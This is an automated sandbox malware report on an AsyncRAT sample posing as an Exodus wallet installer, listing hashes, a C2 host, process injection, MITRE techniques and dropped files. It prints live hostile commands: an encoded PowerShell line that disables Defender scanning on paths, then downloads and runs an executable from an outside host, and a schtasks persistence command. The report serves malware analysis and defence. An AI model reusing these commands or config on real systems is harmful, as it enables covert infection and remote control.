asyncrat | 4644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956

General

Target

exodus-windows-x64-22.9.8.exe
Size

14.6MB
MD5

ca131fbef972abf335bf3e6b1a35351f
SHA1

e749e8fab09bdcf34c7ea51a71da789220407547
SHA256

4644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956
SHA512

dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7
SSDEEP

196608:m74MrKY0OTIFVog4I/fh5s3D0cnuiJAzZlX+Zt1Z7tPRW30M:IprKY0OTeKR8h5s3wcnM1lX+ZDlrW

Score

10^/10

asyncrat exodus rat

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Exodus

C2

operador.ddns.me:4448

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
true
install_file
Exodus.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 5 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe	asyncrat
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe	asyncrat
behavioral2/memory/3768-168-0x0000000000A50000-0x0000000000A66000-memory.dmp	asyncrat
C:\Users\Admin\AppData\Roaming\Exodus.exe	asyncrat
C:\Users\Admin\AppData\Roaming\Exodus.exe	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

69 2264 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

exodus-windows-x64-22.9.8.exeExodus-Windows.exeExodus.exe

pid process

1456 exodus-windows-x64-22.9.8.exe
3768 Exodus-Windows.exe
2932 Exodus.exe

flow	pid	process
69	2264	powershell.exe

pid	process
1456	exodus-windows-x64-22.9.8.exe
3768	Exodus-Windows.exe
2932	Exodus.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

RegAsm.exeExodus-Windows.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Exodus-Windows.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exe

description	pid	process	target process
PID 4768 set thread context of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 set thread context of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4252 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

644 timeout.exe

pid	process
4252	schtasks.exe

pid	process
644	timeout.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exeExodus-Windows.exe

pid	process
2264	powershell.exe
2264	powershell.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe
3768	Exodus-Windows.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exepowershell.exeExodus-Windows.exeExodus.exe

description	pid	process
Token: SeDebugPrivilege	4768	exodus-windows-x64-22.9.8.exe
Token: SeDebugPrivilege	1456	exodus-windows-x64-22.9.8.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	3768	Exodus-Windows.exe
Token: SeDebugPrivilege	2932	Exodus.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exeRegAsm.exepowershell.exeExodus-Windows.execmd.execmd.exe

description	pid	process	target process
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 4768 wrote to memory of 3100	4768	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 1456 wrote to memory of 2964	1456	exodus-windows-x64-22.9.8.exe	RegAsm.exe
PID 2964 wrote to memory of 2264	2964	RegAsm.exe	powershell.exe
PID 2964 wrote to memory of 2264	2964	RegAsm.exe	powershell.exe
PID 2964 wrote to memory of 2264	2964	RegAsm.exe	powershell.exe
PID 2264 wrote to memory of 3768	2264	powershell.exe	Exodus-Windows.exe
PID 2264 wrote to memory of 3768	2264	powershell.exe	Exodus-Windows.exe
PID 3768 wrote to memory of 552	3768	Exodus-Windows.exe	cmd.exe
PID 3768 wrote to memory of 552	3768	Exodus-Windows.exe	cmd.exe
PID 3768 wrote to memory of 736	3768	Exodus-Windows.exe	cmd.exe
PID 3768 wrote to memory of 736	3768	Exodus-Windows.exe	cmd.exe
PID 552 wrote to memory of 4252	552	cmd.exe	schtasks.exe
PID 552 wrote to memory of 4252	552	cmd.exe	schtasks.exe
PID 736 wrote to memory of 644	736	cmd.exe	timeout.exe
PID 736 wrote to memory of 644	736	cmd.exe	timeout.exe
PID 736 wrote to memory of 2932	736	cmd.exe	Exodus.exe
PID 736 wrote to memory of 2932	736	cmd.exe	Exodus.exe

C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe
"C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:3100

C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB1AHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYQB1AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABpAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGUAeABvAGQAdQBzAGQAbwB3AG4AbABvAGEAZAAuAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACwAIAA8ACMAZQBtAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHIAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHcAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACkAKQA8ACMAdgBqAGcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AcwBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEUAeABvAGQAdQBzAC0AVwBpAG4AZABvAHcAcwAuAGUAeABlACcAKQA8ACMAaQBxAHgAIwA+AA=="
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2264

C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe
"C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"' & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:552

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"'
6⤵
- Creates scheduled task(s)
PID:4252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB447.tmp.bat""
5⤵
- Suspicious use of WriteProcessMemory
PID:736

C:\Windows\system32\timeout.exe
timeout 3
6⤵
- Delays execution with timeout.exe
PID:644

C:\Users\Admin\AppData\Roaming\Exodus.exe
"C:\Users\Admin\AppData\Roaming\Exodus.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2932

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\exodus-windows-x64-22.9.8.exe.log
Filesize
902B

MD5
317ed182314a105b8436cfd8bb3879f6

SHA1
aa407b44619a9b06b18d8a39ce27a65b959598e1

SHA256
34a156e5235a27901293bd8928b37d13724d62183e409f6d284110280c56f865

SHA512
27bc617005ef36be6384484e5cec56d7165d1e9535c9a0b5546f1f082cc4bf5969acb573da77171ac7f4119c8cf50a3ced103cd21485569c9cfcf2e340468604

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe
Filesize
63KB

MD5
c6edad994f3c41992614dbc4e87d92e4

SHA1
2418fd9580f534da9d7a730138e1534eb6b4fb79

SHA256
5ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806

SHA512
f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe
Filesize
63KB

MD5
c6edad994f3c41992614dbc4e87d92e4

SHA1
2418fd9580f534da9d7a730138e1534eb6b4fb79

SHA256
5ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806

SHA512
f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab

Download Submit
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe
Filesize
14.6MB

MD5
ca131fbef972abf335bf3e6b1a35351f

SHA1
e749e8fab09bdcf34c7ea51a71da789220407547

SHA256
4644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956

SHA512
dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB447.tmp.bat
Filesize
150B

MD5
f77c7905cbdbd94d1359af4e7ce41c9b

SHA1
6df2cba1daeea616cdf828a041f8433bdcfdcbfd

SHA256
1d791db5bde4a21c1572c67232303be4127106719ae067de1e89d0e7fa770471

SHA512
9b23531f1a02d3de45aae7d7dbac4ee4bd5dae9202c2dd6f388c7c2bcf8f8e6f3d75e6b944ef55daaf599d4100865cfa3863b970e383c3495bee6b570c52f0b1

Download Submit
C:\Users\Admin\AppData\Roaming\Exodus.exe
Filesize
63KB

MD5
c6edad994f3c41992614dbc4e87d92e4

SHA1
2418fd9580f534da9d7a730138e1534eb6b4fb79

SHA256
5ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806

SHA512
f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab

Download Submit
C:\Users\Admin\AppData\Roaming\Exodus.exe
Filesize
63KB

MD5
c6edad994f3c41992614dbc4e87d92e4

SHA1
2418fd9580f534da9d7a730138e1534eb6b4fb79

SHA256
5ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806

SHA512
f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab

Download Submit
memory/552-170-0x0000000000000000-mapping.dmp

Download
memory/644-174-0x0000000000000000-mapping.dmp

Download
memory/736-171-0x0000000000000000-mapping.dmp

Download
memory/2264-147-0x0000000000000000-mapping.dmp

Download
memory/2264-164-0x0000000007F70000-0x0000000007F92000-memory.dmp

Filesize
136KB

Download
memory/2264-149-0x0000000005BD0000-0x00000000061F8000-memory.dmp

Filesize
6.2MB

Download
memory/2264-150-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

Download
memory/2264-152-0x0000000005A20000-0x0000000005A86000-memory.dmp

Filesize
408KB

Download
memory/2264-151-0x00000000059B0000-0x0000000005A16000-memory.dmp

Filesize
408KB

Download
memory/2264-153-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/2264-154-0x0000000006E80000-0x0000000006EB2000-memory.dmp

Filesize
200KB

Download
memory/2264-155-0x0000000070FC0000-0x000000007100C000-memory.dmp

Filesize
304KB

Download
memory/2264-156-0x0000000006E60000-0x0000000006E7E000-memory.dmp

Filesize
120KB

Download
memory/2264-157-0x00000000082E0000-0x000000000895A000-memory.dmp

Filesize
6.5MB

Download
memory/2264-158-0x00000000079D0000-0x00000000079EA000-memory.dmp

Filesize
104KB

Download
memory/2264-159-0x0000000007A40000-0x0000000007A4A000-memory.dmp

Filesize
40KB

Download
memory/2264-160-0x0000000007EA0000-0x0000000007F36000-memory.dmp

Filesize
600KB

Download
memory/2264-161-0x0000000007E10000-0x0000000007E1E000-memory.dmp

Filesize
56KB

Download
memory/2264-162-0x0000000007E60000-0x0000000007E7A000-memory.dmp

Filesize
104KB

Download
memory/2264-163-0x0000000007E50000-0x0000000007E58000-memory.dmp

Filesize
32KB

Download
memory/2264-148-0x0000000002FB0000-0x0000000002FE6000-memory.dmp

Filesize
216KB

Download
memory/2932-179-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmp

Filesize
10.8MB

Download
memory/2932-176-0x0000000000000000-mapping.dmp

Download
memory/2964-146-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2964-143-0x0000000000000000-mapping.dmp

Download
memory/3100-138-0x00000000007A0000-0x00000000007A5000-memory.dmp

Filesize
20KB

Download
memory/3100-136-0x0000000000000000-mapping.dmp

Download
memory/3768-168-0x0000000000A50000-0x0000000000A66000-memory.dmp

Filesize
88KB

Download
memory/3768-169-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmp

Filesize
10.8MB

Download
memory/3768-175-0x00007FFDB4770000-0x00007FFDB5231000-memory.dmp

Filesize
10.8MB

Download
memory/3768-165-0x0000000000000000-mapping.dmp

Download
memory/4252-172-0x0000000000000000-mapping.dmp

Download
memory/4768-135-0x00000000061C0000-0x000000000625C000-memory.dmp

Filesize
624KB

Download
memory/4768-134-0x0000000006070000-0x0000000006102000-memory.dmp

Filesize
584KB

Download
memory/4768-133-0x00000000069D0000-0x0000000006F74000-memory.dmp

Filesize
5.6MB

Download
memory/4768-132-0x0000000000030000-0x0000000000EDC000-memory.dmp

Filesize
14.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads